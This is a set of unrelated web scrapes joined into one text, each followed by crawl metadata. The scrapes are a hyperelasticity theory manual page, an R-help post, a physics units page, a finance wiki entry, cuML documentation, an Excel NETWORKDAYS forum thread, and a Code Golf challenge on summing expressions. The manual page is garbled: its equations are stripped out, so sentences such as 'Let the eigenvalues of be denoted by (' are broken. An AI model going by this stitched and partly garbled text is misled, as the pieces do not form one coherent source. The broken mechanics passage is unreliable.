"Theory Manual Version 3.4\n$\\newcommand{\\lyxlock}{}$\nSubsection 2.4.1: Isotropic Hyperelasticity Up Section 2.4: Hyperelasticity Subsection 2.4.3: Nearly-Incompressible Hyperelasticity\n\n### 2.4.2 Isotropic Elasticity in Principal Directions\n\nFor isotropic materials, the principal directions of the strain and stress tensors are the same. Let the eigenvalues of be denoted by (, then the strain energy density may be given as a function of these eigenvalues, . To derive the expression for the stress, recognize that where the are the eigenvectors of . It follows that the second Piola-Kirchhoff stress may be represented as where To evaluate the material elasticity tensor, recognize that where form a permutation over . Then it can be shown that the material elasticity tensor is given by When eigenvalues coincide, L'Hospital's rule may be used to evalue the coefficient in the last term, The double summations in (2.4.2-5) are arranged such that the summands represent fourth-order tensors with major and minor symmetries.\nIn the spatial frame, the Cauchy stress is given by where and are the eigenvectors of . The principal normal stresses are The spatial elasticity tensor is given by\nSubsection 2.4.1: Isotropic Hyperelasticity Up Section 2.4: Hyperelasticity Subsection 2.4.3: Nearly-Incompressible Hyperelasticity"
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.871873,"math_prob":0.9369214,"size":1142,"snap":"2023-40-2023-50","text_gpt3_token_len":257,"char_repetition_ratio":0.14411248,"word_repetition_ratio":0.022988506,"special_character_ratio":0.19877408,"punctuation_ratio":0.123222746,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9978493,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-05T02:14:17Z\",\"WARC-Record-ID\":\"<urn:uuid:1f558691-6b9d-4709-8f90-2b973d7a1588>\",\"Content-Length\":\"176553\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3c88a8a5-2d32-4d1a-8f7f-4f634447118d>\",\"WARC-Concurrent-To\":\"<urn:uuid:be67f1ba-3e35-4098-ad54-69b4ba4dea6e>\",\"WARC-IP-Address\":\"158.106.131.107\",\"WARC-Target-URI\":\"https://help.febio.org/FEBioTheory/FEBio_tm_3-4-Subsection-2.4.2.html\",\"WARC-Payload-Digest\":\"sha1:4VDFF5ARWHR2ZB6GZD4D2Q2QEXZCJG6A\",\"WARC-Block-Digest\":\"sha1:OQGCZIUV62LIH7M54BTBFAB3KEMKW4NZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100540.62_warc_CC-MAIN-20231205010358-20231205040358-00248.warc.gz\"}"} |
https://stat.ethz.ch/pipermail/r-help/2007-April/129002.html | [
"# [R] Finding a single unique item in duplicated vectors\n\nJohn Kane jrkrideau at yahoo.ca\nWed Apr 4 19:00:44 CEST 2007\n\n```I have a very simple problem and am completely missing\nthe solution.\nI have two character variables (character ID's from\ntwo datasets) Data set 'b'\nis data set 'a' with one more subject added.\nHow do I find out which is the added subject?\n\nI have tried duplicated and unique without much\nsuccess. I can find all the\nduplicated ID's but how do I extract the new \"unique\"\none?\nExample:\na <- as.character(Cs(b,d,c,a))\nb <- as.character( Cs(a,b,c,d,e))\nh <- c(a,b) ; h\nh[duplicated(h)]\n\nI just want to extract that \"e\"!\n\nh[!duplicated(h)]\nmight work but it simply returns all the unique values\nwhereas\nI simply want to simply find the odd man out.\n\nI thought of using sorting the vectors & using a cbind\nbut the id's are assigned\nmore or less randomly so that didn't work.\n\nThanks\n\n```"
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.8855866,"math_prob":0.5132617,"size":953,"snap":"2020-10-2020-16","text_gpt3_token_len":254,"char_repetition_ratio":0.115911484,"word_repetition_ratio":0.0,"special_character_ratio":0.25603357,"punctuation_ratio":0.114832535,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9522134,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-04-02T14:13:30Z\",\"WARC-Record-ID\":\"<urn:uuid:5a3e7379-a5e9-49b7-a384-54b9609f7f05>\",\"Content-Length\":\"3375\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cb806b41-6409-4db1-bf8e-2fe463b04566>\",\"WARC-Concurrent-To\":\"<urn:uuid:a972ebff-0e44-471f-a23b-4d1cdd90acad>\",\"WARC-IP-Address\":\"129.132.119.195\",\"WARC-Target-URI\":\"https://stat.ethz.ch/pipermail/r-help/2007-April/129002.html\",\"WARC-Payload-Digest\":\"sha1:4HPTRVIEPS44ABLWIUCOC2USRIGTHHT2\",\"WARC-Block-Digest\":\"sha1:VWDYAFOXSM743OKYNTLLUSTMPJVEVPPT\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-16/CC-MAIN-2020-16_segments_1585370506959.34_warc_CC-MAIN-20200402111815-20200402141815-00166.warc.gz\"}"} |
http://clickandlearn.org/index.php/courses/physics-12-u/25-courses/physics-12-u/unit-1-forces-and-motion-dynamics/109-units-and-standrads | [
"### Units and Standards\n\n#### There are 4 fundamental scientific measurements:\n\n• Mass\n• Length\n• Time\n• Electric Charge\nThe following summarizes their basic SI (International Metric System) units:\n\n Fundamental Quantity Mass Length, distance, displacement Time Charge SI Unit kg (kilogram) m (metre) s (second) C (coulomb) Symbol m Δd t Q\n\n#### Scalar vs. Vector Quantities\n\n• Scalar quantities express only a quantity and a unit\n• Vector quantities express a quantity, a unit and a direction\n\nExamples:\n\n Quantity Symbol Type Example distance Δd scalar Δd = 10 m displacement",
null,
"vector",
null,
"= 10 m [E]"
]
| [
null,
"http://clickandlearn.org/images/courses/Physics/deltaD_vector.gif",
null,
"http://clickandlearn.org/images/courses/Physics/deltaD_vector.gif",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.58699864,"math_prob":0.9801049,"size":599,"snap":"2020-10-2020-16","text_gpt3_token_len":170,"char_repetition_ratio":0.114285715,"word_repetition_ratio":0.0,"special_character_ratio":0.27378964,"punctuation_ratio":0.07608695,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9985351,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-04-06T20:39:19Z\",\"WARC-Record-ID\":\"<urn:uuid:b2920acc-b591-4e38-a1c9-364aab410e72>\",\"Content-Length\":\"20692\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:8b8109e4-d8af-4580-a3d1-f39840e884d7>\",\"WARC-Concurrent-To\":\"<urn:uuid:18c37e43-4f41-41d3-868c-29fcfba7bcad>\",\"WARC-IP-Address\":\"204.11.52.132\",\"WARC-Target-URI\":\"http://clickandlearn.org/index.php/courses/physics-12-u/25-courses/physics-12-u/unit-1-forces-and-motion-dynamics/109-units-and-standrads\",\"WARC-Payload-Digest\":\"sha1:Y3TQYMYBUJNETEGPBOUNPYPFQ2B3GAQF\",\"WARC-Block-Digest\":\"sha1:WN72MTTS6KA65V5RZZE7CCCJS2PGWHVY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-16/CC-MAIN-2020-16_segments_1585371660550.75_warc_CC-MAIN-20200406200320-20200406230820-00355.warc.gz\"}"} |
https://wiki.treasurers.org/wiki/Derivative | [
"# Derivative\n\n1.\n\nAbbreviation for derivative financial instrument.\n\n2.\n\nMaths.\n\nA derivative function describes the rate of change of the underlying function, with respect to changes in one of the variables in the underlying function.\n\n• The first derivative describes the slope of the function curve at a given point on the curve.\n• The second derivative describes the rate of change of the slope. In other words the degree of curvature, at a given point.\n\nMost of the 'Greek letters' in options analysis are the first derivative of the option value, as the related value driver changes."
]
| [
null
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.86365616,"math_prob":0.87822217,"size":594,"snap":"2020-34-2020-40","text_gpt3_token_len":120,"char_repetition_ratio":0.18644068,"word_repetition_ratio":0.0625,"special_character_ratio":0.1969697,"punctuation_ratio":0.10909091,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99153095,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-27T20:33:54Z\",\"WARC-Record-ID\":\"<urn:uuid:67978daf-506a-4748-b150-90bfced8f627>\",\"Content-Length\":\"15516\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:823b63d6-82cb-4389-8d72-32d900ce02b5>\",\"WARC-Concurrent-To\":\"<urn:uuid:d20d99ca-745d-4be4-9d90-aaa012d0af9a>\",\"WARC-IP-Address\":\"40.113.6.13\",\"WARC-Target-URI\":\"https://wiki.treasurers.org/wiki/Derivative\",\"WARC-Payload-Digest\":\"sha1:FHW45VNM4B3TXUNHZX7CGX6TVERIH5T6\",\"WARC-Block-Digest\":\"sha1:YIE2O23GRBYKLGFTU7KY2PZHTZK6X2AX\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600401578485.67_warc_CC-MAIN-20200927183616-20200927213616-00043.warc.gz\"}"} |
https://www.doubtnut.com/question-answer/find-the-distance-between-the-parallel-lines-vecrhati-hatj-t2hati-hatj-hatk-and-vecr2hati-hatj-hatk--320225022 | [
"",
null,
"",
null,
"",
null,
"",
null,
"",
null,
"Find the distance between the parallel lines vecr=(hati-hatj)+t(2hati-hatj+hatk) and vecr=(2hati+hatj-hatk)+s(2hati-hatj+hatk).",
null,
"Step by step solution by experts to help you in doubt clearance & scoring excellent marks in exams.\n\nUpdated On: 27-9-2020",
null,
"Apne doubts clear karein ab Whatsapp par bhi. Try it now.",
null,
"Get Answer to any question, just click a photo and upload the photo\nand get the answer completely free,\n\nWatch 1000+ concepts & tricky questions explained!",
null,
"",
null,
"Text Solution\n\n(sqrt(35))/(sqrt(6))\nSolution :\nN/A\n\nRelated Videos",
null,
"31347730\n\n800+\n\n16.9 K+\n\n3:18\nFind the shrotest distance between the lines vecr = hati+hatj+ lambda(2hati-hatj+hatk) and vecr= 2hati+hatj-hatk+mu(2hati-hatj+hatk).",
null,
"644855812\n\n1.0 K+\n\n1.3 K+\n\n4:55\nFind the shrotest distance between the lines vecr = hati+hatj+ lambda(2hati-hatj+hatk) and vecr= 2hati+hatj-hatk+mu(2hati-hatj+hatk).",
null,
"121601856\n\n100+\n\n2.1 K+\n\nThe lines given by vecr = (hati - hatj) +lambda(2hati +hatk) and vecr = (2hati - hatj) + mu(hati +hatj -hatk) are",
null,
"72793349\n\n100+\n\n3.7 K+\n\n2:03\nFind the angle between the lines <br> vecr = (hati+hatj)+lambda (hati+hatj+hatk)and vecr=(2hati-hatj)+t(2hati+3hatj+hatk)",
null,
"644361812\n\n89\n\n1.8 K+\n\n1:54\nFind the angle between the lines <br> vecr = (hati+hatj)+lambda (hati+hatj+hatk)and vecr=(2hati-hatj)+t(2hati+3hatj+hatk)",
null,
"647282263\n\n19\n\n300+\n\n1:56\nFind the shortest distance between the lines : <br> vecr=hati-hatj+lamda(2hati+hatk) and vecr=2hati-hatj+mu(hati+hatj-hatk)",
null,
""
]
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https://docs.rapids.ai/api/cuml/nightly/cuml_intro.html | [
"# Intro and key concepts for cuML¶\n\ncuML accelerates machine learning on GPUs. The library follows a couple of key principles, and understanding these will help you take full advantage cuML.\n\n## 1. Where possible, match the scikit-learn API¶\n\ncuML estimators look and feel just like scikit-learn estimators. You initialize them with key parameters, fit them with a `fit` method, then call `predict` or `transform` for inference.\n\n```import cuml.LinearRegression\n\nmodel = cuml.LinearRegression()\nmodel.fit(X_train, y)\ny_prediction = model.predict(X_test)\n```\n\nYou can find many more complete examples in the Introductory Notebook and in the cuML API documentation.\n\n## 2. Accept flexible input types, return predictable output types¶\n\ncuML estimators can accept NumPy arrays, cuDF dataframes, cuPy arrays, 2d PyTorch tensors, and really any kind of standards-based Python array input you can throw at them. This relies on the `__array__` and `__cuda_array_interface__` standards, widely used throughout the PyData community.\n\nBy default, outputs will mirror the data type you provided. So, if you fit a model with a NumPy array, the `model.coef_` property containing fitted coefficients will also be a NumPy array. If you fit a model using cuDF’s GPU-based DataFrame and Series objects, the model’s output properties will be cuDF objects. You can always override this behavior and select a default datatype with the memory_utils.set_global_output_type function.\n\nThe RAPIDS Configurable Input and Output Types blog post goes into much more detail explaining this approach.\n\n## 3. Be fast!¶\n\ncuML’s estimators rely on highly-optimized CUDA primitives and algorithms within `libcuml`. On a modern GPU, these can exceed the performance of CPU-based equivalents by a factor of anything from 4x (for a medium-sized linear regression) to over 1000x (for large-scale tSNE dimensionality reduction). The cuml.benchmark module provides an easy interface to benchmark your own hardware.\n\nTo maximize performance, keep in mind - a modern GPU can have over 5000 cores, so make sure you’re providing enough data to keep it busy! In many cases, performance advantages appear as the dataset grows.\n\nTo get started learning cuML, walk through the Introductory Notebook. Then try out some of the other notebook examples in the `notebooks` directory of the repository. Finally, do a deeper dive with the cuML blogs."
]
| [
null
]
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https://www.mrexcel.com/board/threads/networkdays-what-am-i-doing-wrong.1034942/ | [
"# NETWORKDAYS - what am I doing wrong?\n\n#### Wayne T\n\n##### New Member\nHi folks,\nI seem to be having an issue with NETWORKDAYS not doing what I want it to, and am hoping someone can tell me where exactly it is that I may be going wrong.\nAs per sample provided, I simply want the number of days between the two dates in 'A' (date of issue), and 'B' (actual date of departure). Sometimes the two dates are the same, hence the\ntime code as well as date, and sometimes the issue date is AFTER the departure date, Which is the KPI we're trying to track and improve.\n\nI started with this standard NETWORKDAYS formula:\n\n=NETWORKDAYS(B2,A2)-1-MOD(B2,1)+MOD(A2,1))\n\nbut was getting some wierd results, so I changed to:\n\n=IF(A2>B2,NETWORKDAYS(A2,B2)-1-MOD(A2,1)+MOD(B2,1),NETWORKDAYS(B2,A2)-1-MOD(B2,1)+MOD(A2,1))\n\nThis fix appeared to work initially, but when I got to row 5, it got all screwy again,\ne.g row 8 is telling me there are 3.56 days between the 2nd and 3rd of November, (Thu to Fri)??.\n\nExcel 2010\nABC\n1BPA date and TimeETD Date and TimeDays Ex W/Ends\n201/11/17 11:30:0001/11/17 03:06:00-0.35\n330/10/17 11:16:0001/11/17 03:06:001.66\n424/10/17 12:37:0003/11/17 22:57:008.43\n506/11/17 10:33:0003/11/17 22:57:00-2.48\n602/11/17 08:45:0003/11/17 22:57:00-3.59\n706/11/17 12:33:0003/11/17 22:57:00-2.57\n802/11/17 09:24:0003/11/17 22:57:00-3.56\n901/11/17 11:59:0003/11/17 22:57:00-4.46\n1002/11/17 08:43:0003/11/17 22:57:00-3.59\n\n</tbody>\nSheet2\n\nWorksheet Formulas\nCellFormula\nC2=IF(A2>B2,NETWORKDAYS(A2,B2)-1-MOD(A2,1)+MOD(B2,1),NETWORKDAYS(B2,A2)-1-MOD(B2,1)+MOD(A2,1))\nC3=IF(A3>B3,NETWORKDAYS(A3,B3)-1-MOD(A3,1)+MOD(B3,1),NETWORKDAYS(B3,A3)-1-MOD(B3,1)+MOD(A3,1))\nC4=IF(A4>B4,NETWORKDAYS(A4,B4)-1-MOD(A4,1)+MOD(B4,1),NETWORKDAYS(B4,A4)-1-MOD(B4,1)+MOD(A4,1))\nC5=IF(A5>B5,NETWORKDAYS(A5,B5)-1-MOD(A5,1)+MOD(B5,1),NETWORKDAYS(B5,A5)-1-MOD(B5,1)+MOD(A5,1))\nC6=IF(A6>B6,NETWORKDAYS(A6,B6)-1-MOD(A6,1)+MOD(B6,1),NETWORKDAYS(B6,A6)-1-MOD(B6,1)+MOD(A6,1))\nC7=IF(A7>B7,NETWORKDAYS(A7,B7)-1-MOD(A7,1)+MOD(B7,1),NETWORKDAYS(B7,A7)-1-MOD(B7,1)+MOD(A7,1))\nC8=IF(A8>B8,NETWORKDAYS(A8,B8)-1-MOD(A8,1)+MOD(B8,1),NETWORKDAYS(B8,A8)-1-MOD(B8,1)+MOD(A8,1))\nC9=IF(A9>B9,NETWORKDAYS(A9,B9)-1-MOD(A9,1)+MOD(B9,1),NETWORKDAYS(B9,A9)-1-MOD(B9,1)+MOD(A9,1))\nC10=IF(A10>B10,NETWORKDAYS(A10,B10)-1-MOD(A10,1)+MOD(B10,1),NETWORKDAYS(B10,A10)-1-MOD(B10,1)+MOD(A10,1))\n\n</tbody>\n\n<tbody>\n</tbody>\n\nAm I missing an extra 'IF' statement somewhere? I'm at a loss as to what it is I'm doing wrong, and would greatly appreciate any help any one can offer.\nWayne T\n\n### Excel Facts\n\nHow can you automate Excel?\nPress Alt+F11 from Windows Excel to open the Visual Basic for Applications (VBA) editor.\n\n#### Marcelo Branco\n\n##### MrExcel MVP\nMaybe this...\n\n=IF(A2>B2,NETWORKDAYS(B2,A2)+MOD(A2-B2,1),NETWORKDAYS(A2,B2)+MOD(B2-A2,1))-1\n\nM.\n\n•",
null,
"Wayne T\n\nMmm....\n\nLast edited:\n\n#### Wayne T\n\n##### New Member\nHi Marcelo,\n\nThanks for the reply, and your solution actually fixes the issues I was having with lines 5 through 10, but NOW it's giving me -3.66 and -9.34 respectively for lines C3 and C4",
null,
". Do you think I need a combination of both formula, i.e. if A2>B2, then 'your fix', if A2<b2, 'other=\"\" fix'?=\"\" no=\"\" idea=\"\" how=\"\" to=\"\" make=\"\" that=\"\" work,=\"\" or=\"\" even=\"\" if=\"\" it=\"\" would,=\"\" just=\"\" wondering.=\"\" again,=\"\" many=\"\" thanks=\"\" for=\"\" the=\"\" speedy=\"\" reply=\"\" and=\"\" suggestion.\nCheers,\nWayne T</b2,>\n\nLast edited:\n\n#### Wayne T\n\n##### New Member\n\nMarcelo,\n\nI appear to have ****ed up the first 2 replies, so I'll try again, sorry. As I said, your solution fixed some issues, but then UN-fixed some that weren't",
null,
". To finish my sentence, do you think I might need to try a combo of both formula? And is that even possible?\n\nCheers,\nWayne T\n\n#### Marcelo Branco\n\n##### MrExcel MVP\nHi Marcelo,\n\nThanks for the reply, and your solution actually fixes the issues I was having with lines 5 through 10, but NOW it's giving me -3.66 and -9.34 respectively for lines C3 and C4",
null,
". Do you think I need a combination of both formula, i.e. if A2>B2, then 'your fix', if A2<b2, 'other=\"\" fix'?=\"\" no=\"\" idea=\"\" how=\"\" to=\"\" make=\"\" that=\"\" work,=\"\" or=\"\" even=\"\" if=\"\" it=\"\" would,=\"\" just=\"\" wondering.=\"\" again,=\"\" many=\"\" thanks=\"\" for=\"\" the=\"\" speedy=\"\" reply=\"\" and=\"\" suggestion.\nCheers,\nWayne T</b2,>\n\nIt worked for me\n\n A B C 1 BPA date and Time ETD Date and Time Days Ex W/Ends 2 01/11/2017 11:30 01/11/2017 03:06 0,35 3 30/10/2017 11:16 01/11/2017 03:06 2,659722222 4 24/10/2017 12:37 03/11/2017 22:57 8,430555556 5 06/11/2017 10:33 03/11/2017 22:57 1,483333333 6 02/11/2017 08:45 03/11/2017 22:57 1,591666667 7 06/11/2017 12:33 03/11/2017 22:57 1,566666667 8 02/11/2017 09:24 03/11/2017 22:57 1,564583333 9 01/11/2017 11:59 03/11/2017 22:57 2,456944444 10 02/11/2017 08:43 03/11/2017 22:57 1,593055556\n\nFormula in C2 copied down\n=IF(A2>B2,NETWORKDAYS(B2,A2)+MOD(A2-B2,1),NETWORKDAYS(A2,B2)+MOD(B2-A2,1))-1\n\nM.\n\n•",
null,
"Wayne T\n\n#### Wayne T\n\n##### New Member\n\nOK, now I'm TOTALLY confused. I'm STILL getting this",
null,
":\n\nExcel 2010\nC\n20.35\n3-3.659722\n4-9.430556\n51.4833333\n61.5916667\n71.5666667\n81.5645833\n92.4569444\n101.5930556\n\n</tbody>\nSheet3\n\nWorksheet Formulas\nCellFormula\nC2=IF(A2>B2,NETWORKDAYS(B2,A2)+MOD(A2-B2,1),NETWORKDAYS(A2,B2)+MOD(B2-A2,1))-1\nC3=IF(A3>B3,NETWORKDAYS(B3,A3)+MOD(A3-B3,1),NETWORKDAYS(A3,B3)+MOD(B3-A3,1))-1\nC4=IF(A4>B4,NETWORKDAYS(B4,A4)+MOD(A4-B4,1),NETWORKDAYS(A4,B4)+MOD(B4-A4,1))-1\nC5=IF(A5>B5,NETWORKDAYS(B5,A5)+MOD(A5-B5,1),NETWORKDAYS(A5,B5)+MOD(B5-A5,1))-1\nC6=IF(A6>B6,NETWORKDAYS(B6,A6)+MOD(A6-B6,1),NETWORKDAYS(A6,B6)+MOD(B6-A6,1))-1\nC7=IF(A7>B7,NETWORKDAYS(B7,A7)+MOD(A7-B7,1),NETWORKDAYS(A7,B7)+MOD(B7-A7,1))-1\nC8=IF(A8>B8,NETWORKDAYS(B8,A8)+MOD(A8-B8,1),NETWORKDAYS(A8,B8)+MOD(B8-A8,1))-1\nC9=IF(A9>B9,NETWORKDAYS(B9,A9)+MOD(A9-B9,1),NETWORKDAYS(A9,B9)+MOD(B9-A9,1))-1\nC10=IF(A10>B10,NETWORKDAYS(B10,A10)+MOD(A10-B10,1),NETWORKDAYS(A10,B10)+MOD(B10-A10,1))-1\n\n</tbody>\n\n<tbody>\n</tbody>\n\nHave checked formatting, (and changed it to a couple different things), same results....WTF?? That's just insane....\n\n#### Wayne T\n\n##### New Member\nMarcelo,\n\nDecided to start afresh in a clean workbook, and ....it works!!! Thank you SOO much for the help, appreciate your efforts and your time, you have made my day",
null,
"Wayne T\n\n#### Marcelo Branco\n\n##### MrExcel MVP\nYou are welcome. Glad to help.\n\nM.\n\n#### Marcelo Branco\n\n##### MrExcel MVP\nMarcelo,\n\nDecided to start afresh in a clean workbook, and ....it works!!! Thank you SOO much for the help, appreciate your efforts and your time, you have made my day",
null,
"Wayne T\n\nWayne\n\nhmm... it seems my formula has a problem.\nSee the result in C3 rounded : 2.66.I think you want 1.66\n\nIf i'm right all you need to do is to adjust your original formula like this\nC2 copied down\n=IF(A2>B2,NETWORKDAYS(B2,A2)-1-MOD(B2,1)+MOD(A2,1),NETWORKDAYS(A2,B2)-1-MOD(A2,1)+MOD(B2,1))\n\nM.\n\nLast edited:\n\nReplies\n1\nViews\n489\nReplies\n4\nViews\n1K\nReplies\n0\nViews\n135\nReplies\n2\nViews\n467\nReplies\n0\nViews\n185\n\n### Forum statistics\n\n1,148,290\nMessages\n5,745,876\nMembers\n423,983\nLatest member\nblackworx",
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"### We've detected that you are using an adblocker.\n\nWe have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.\n\n### Which adblocker are you using?",
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https://codegolf.stackexchange.com/questions/120395/sigmafy-the-expression/130429 | [
"# Sigmafy the expression\n\nFor those who didn't know, Sigma is a Greek letter which is heavily used in mathematics as the summation sign. Given a string representing an expression depending on $k$ that we will denote $E(k)$, compute the sum of the results for $E(k)$, for each $k\\in\\{1,2,3,4,5\\}$. Concisely, you should find $S$ such that:\n\n$$S=\\sum^5_{k=1}E(k)$$\n\nAn example of an expression: $E(k)=\\frac k 2 + k^2$\n\n### Specs\n\n• You are guaranteed:\n• that the expression is valid, so it contains no errors, and that it's dependent of the syntax chosen (e.g: if you only support 2*k, there will be no 2k)\n• to only have defined values amongst your results, so no values like 1/0, inf or nan will appear\n• You can assume that the expression above is fitting the limits of the programming language of your choice, so it won't result in overflows or any other limit-related errors\n• Any other non-whitespace ASCII Character instead of k can be chosen\n• Your program must support the following operations:\n• addition (+, plus(),add(),sum())\n• subtraction (-, minus(), subtract())\n• exponentiation (**,^,pow() or others, should be specified), with support to negative bases and exponents\n• square root in the form of sqrt(k), k^0.5, k**0.5, or however else you wish\n• multiplication and division\n• The submission can either be a full program or a function, while mentioning its usage\n• Any trailing / leading whitespace is allowed when outputting\n• Minimum precision: 2 decimal places\n\n### Test Cases (with k)\n\n+---------------+--------------+\n| Input = E(k) | Output |\n|---------------+--------------|\n|2*k | 30 |\n|---------------+--------------|\n|sqrt(k) | 8.38 | (* with minimum decimal precision)\n|---------------+--------------|\n|k+k/2+k**2 | 77.5 |\n|---------------+--------------|\n|k**2 | 55 |\n+---------------+--------------+\n\n\nThe score will be the number of bytes (of the source + compiler flags). The lowest scoring valid submission wins, while taking note that these loopholes are strictly forbidden. Here is a Python pseudo-code, to make things clearer.\n\n• Can we take plus() instead of +? (Same questions for all other operators too) – Stewie Griffin May 13 '17 at 11:08\n• @StewieGriffin Yes, plus(),add(),sum() and equivalents are allowed. See the edit. – Mr. Xcoder May 13 '17 at 11:08\n• No, you may only take the expression once, @ComradeSparklePony – Mr. Xcoder May 13 '17 at 11:21\n• Can we use postfix notation? For example, test case 3 from the top would be something like: N N2/+N2**+. – Comrade SparklePony May 13 '17 at 11:33\n• That's very strange, but it is allowed as long as you clearly state the \"format\" of E(x) @ComradeSparklePony – Mr. Xcoder May 13 '17 at 11:35\n\n# Jelly, 5 bytes\n\nvЀ5S\n\n\nTry it online!\n\nInput a valid Jelly monadic chain (I golfed them down in my link).\n\n## How it works\n\nvЀ5S\nЀ for each of ...\n5 5 (implicitly converted to [1,2,3,4,5]), ...\nv evaluate the input with the above as argument\nS and find the sum\n\n\n## Mathematica, 1714 13 bytes\n\nThanks to Ian Miller for saving 3 bytes.\n\nThanks to LegionMammal978 for saving 1 byte.\n\n#~NSum~{k,5}&\n\n\nThe input should be an actual expression containing k, e.g.:\n\n#~NSum~{k,5}&[Sqrt[k]^3+4]\n\n• I should have guessed that Mathematica had built-ins for this – Mr. Xcoder May 13 '17 at 11:11\n• Mathematica always has built-ins for situations. :P – totallyhuman May 13 '17 at 13:19\n• You don't need the 1, in it for Sum. – Ian Miller May 13 '17 at 13:24\n• In fact it can shorten to N@#~Sum~{k,5}& – Ian Miller May 13 '17 at 13:25\n• @IanMiller Oh right, of course. Thank you! – Martin Ender May 13 '17 at 13:49\n\n# Python 3, 40 37 bytes\n\n3 bytes thanks to Arnauld.\n\nEval scope tricks \\o/\n\nf=lambda s,k=5:k and eval(s)+f(s,k-1)\n\n\nTry it online!\n\nUses k**0.5 instead of sqrt(k).\n\n• Is it allowed to answer a question that fast? o_O – Mr. Xcoder May 13 '17 at 11:11\n\n## JavaScript (ES7), 31 30 bytes\n\nUses k**0.5 for sqrt(k).\n\nf=(e,k=6)=>--k&&f(e,k)+eval(e)\n\nconsole.log(f(\"2*k\"))\nconsole.log(f(\"k**0.5\"))\nconsole.log(f(\"k+k/2+k**2\"))\nconsole.log(f(\"k**2\"))\n\nTry it online!\n\n• Ninjaed again! Nicely done. – Shaggy May 13 '17 at 11:23\n\n# 05AB1E, 87 6 bytes\n\n6G¹.VO\n\n\nTry it online!\n\nInput is in postfix notation, and uses the variable N. 05AB1E is a stack-based language, so only postfix notation works.\n\nFormat of E(N): write the number(s) you want to do the operation with, and then write the sign of the operation. For example, 3+4 would be 3 4+, 3*4+2*3 would be 3 4* 2 3* +. Also note that this uses t instead of sqrt, and m instead of **, so sqrt(N) would be Nt.\n\nExplanation:\n\n6G¹.VO\n6G For N in range(1,6). This includes [1,2,3,4,5].\nO Sum results.\n\n\n# Octave, 504631 29 bytes\n\n@(d)eval([\"k=1:5;sum(\" d 41])\n\n\nTry it online!\n\nExponentiation is denoted with the caret .^ and multiplication is denoted with .*.\n\nThis declares an anonymous function that takes in argument d. It sets k to be equal to the range 1:5 and sums the evaluated d and returns it.\n\n# Japt, 10 bytes\n\n6ÆK=XOxUÃx\n\n\nInput string should have variable as an uppercase K. sqrt(K) should be inputted as K**0.5.\n\nTry it online!\n\n## Explanation\n\neval scope didn't work in my favor; had to redefine the counting variable X as a global K.\n\n6ÆK=XOxUÃx // implicit: U = input string\n6oXYZ{K=XOxU} x // expanded\n\n6oXYZ{ } // create array [0, 6) and map to function:\nK=X // redefine the array value to global K\nOxU // eval the input string\nx // sum the resulting array\n\n• Hmm, I wonder if transpiling Ox directly to eval( would help with that... – ETHproductions Jul 8 '17 at 11:32\n\n# Octave, 25 23 bytes\n\n@(f)sum(inline(f)(1:5))\n\n\nTry it online!\n\nExponentiation is denoted as .^\n\n# APL (Dyalog), 9 bytes\n\n+/⍎⎕⊣k←⍳5\n\n\nTry it online!\n\nAddition is +, subtraction is -, multiplication is ×, division is ÷ exponentiation is * and execution is right to left, so use () to group expressions.\n\nInput is in terms of k.\n\n### Explanation\n\nk←⍳5 Set k to be equal to the vector 1 2 3 4 5\n⊣ The left argument:\n+/ Sum of\n⍎⎕ The evaluated input (the eval returns an array because k is an array)\n\n\nAnd here's a solution that takes trains as input (like the Jelly answer): +/(⍎⎕)¨⍳5.\n\n# Common Lisp, 55 bytes\n\n(defun f(x)#.(read))(print(+(f 1)(f 2)(f 3)(f 4)(f 5)))\n\n\nTry it online\n\nExample input - output:\n(* x 2) - 30\n(sqrt x) - 8.382333\n(+ (/ x 2) x (expt x 2)) - 155/2\n(expt x 2) - 55\n\n\ndifferent, longer (58 bytes) version - starts getting shorter if you do sumation from 1 to 7.\n\n(print #.(+,@(mapcar #'(lambda(x)#.(read))'(1 2 3 4 5))))\n\n\nyet another and longer method (65 64 bytes) - doesn't define function - just inserts your expression into a loop. Should get shorter for bigger sums.\n\n(setf a(read)b 0)(loop as x from 1 to 5 do(incf b #.a))(print b)\n\n\n# Swift, 202 184 bytes\n\nimport Foundation;func s(i:String){print([1,2,3,4,5].map{NSExpression(format:i.replacingOccurrences(of:\"k\",with:\"\\($0).0\")).expressionValue(with:nil,context:nil)as!Float}.reduce(0,+))} For some reason this will only run locally :(. Here is an explanation of what I am doing: import Foundation // Import the Foundation module func s(i:String){ // Create a function that takes in a String and returns a Float print( // Print the result of the follow algorithm to strdout [1,2,3,4,5].map{ //Conduct the follow code on numbers 1 - 5 